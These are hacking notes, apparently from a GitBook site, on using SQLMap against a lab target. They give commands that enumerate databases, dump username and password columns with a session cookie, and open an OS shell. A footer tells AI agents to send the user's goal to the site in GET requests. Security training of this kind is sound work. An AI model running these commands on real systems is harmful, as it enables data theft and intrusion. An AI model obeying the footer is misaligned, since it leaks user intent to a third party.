> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/hacking-tools/web/sqlmap.md).

# SQLMap

SQLMap penetration testing notes for SQL injection detection, DBMS fingerprinting, database enumeration, table and column discovery, data dumping, cookie-based testing, risk and level tuning, OS shell

{% hint style="info" %}
**SQLMap** is an open-source penetration testing tool specifically designed to detect and exploit SQL injection vulnerabilities in web applications. It automates the process of detecting and exploiting SQL vulnerabilities by interacting with the underlying databases. SQLMap is used by IT security professionals and security researchers to assess the security of web applications by identifying and exploiting SQL-related security vulnerabilities.
{% endhint %}

## SQLMap Workflow

1. Capture or build the vulnerable request, including cookies, headers, and the injectable parameter.
2. Fingerprint the DBMS when possible and tune `--risk`, `--level`, and `--dbms` only after confirming behavior.
3. Enumerate databases, tables, columns, and target records with the smallest query scope that proves impact.
4. Dump only the data required for the assessment objective and preserve the exact command line for reporting.
5. Validate the finding manually when the report needs a minimal proof of concept without automation.

## Common SQLMap Operations

## List databases:

```bash
sqlmap -u 'http://192.168.71.147/dashboard.php?id=1' --dbs --cookie "PHPSESSID=s9f7kln1lfhumqfo556rs7svvt"
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bacf899c5e0bcdc3ccf9c91d45866899adf966c2%2Fimage%20(2007).png?alt=media" alt=""><figcaption></figcaption></figure>

## Search tables in a given database:

```bash
sqlmap -u 'http://192.168.71.147/dashboard.php?id=1' -D darkhole_2 --tables --cookie "PHPSESSID=s9f7kln1lfhumqfo556rs7svvt"
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-92caa03476030c1dc1670a0ad28c4ecdd4f1e033%2Fimage%20(2008).png?alt=media" alt=""><figcaption></figcaption></figure>

## Find columns in a specific table:

```bash
sqlmap -u 'http://192.168.71.147/dashboard.php?id=1' -D darkhole_2 --columns --cookie "PHPSESSID=s9f7kln1lfhumqfo556rs7svvt"
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-30301e65045db4f9ba51d90bda5790da1290d08e%2Fimage%20(2009).png?alt=media" alt=""><figcaption></figcaption></figure>

## Dump users and passwords from the "users" table:

```bash
sqlmap -u 'http://192.168.71.147/dashboard.php?id=1' -D darkhole_2 --columns --cookie "PHPSESSID=s9f7kln1lfhumqfo556rs7svvt" -T users -C username,password --dump
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9fcf988c59d938de701d5b7f6e83caf11ea9b342%2Fimage%20(2010).png?alt=media" alt=""><figcaption></figcaption></figure>

## Interactive Console:

```bash
sqlmap -u 'http://192.168.71.147/dashboard.php?id=1' --cookie "PHPSESSID=s9f7kln1lfhumqfo556rs7svvt" --os-shell --batch
```

## Interesting parameters:

#### Set the attack risk and depth:

```bash
sqlmap -u 'http://192.168.71.147/dashboard.php?id=1' --cookie "PHPSESSID=s9f7kln1lfhumqfo556rs7svvt" --dbms mysql --risk 3 --level 4
```

#### If we know the type of database with the parameter:

<pre class="language-bash"><code class="lang-bash"><strong>--dbms mysql
</strong></code></pre>

#### To test all types of attacks without request every time:

```bash
--batch
```

### All Notes

<table><thead><tr><th data-type="content-ref"></th></tr></thead><tbody><tr><td><a href="/hacking-tools/web/sqlmap/sql-injection-sqlmap-and-manual-testing.md">SQL Injection with SQLMap and Manual Testing</a></td></tr><tr><td><a href="/hacking-tools/web/sqlmap/injection-sql-sqlite-sqlmap.md">SQLite SQL Injection with SQLMap</a></td></tr></tbody></table>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/hacking-tools/web/sqlmap.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
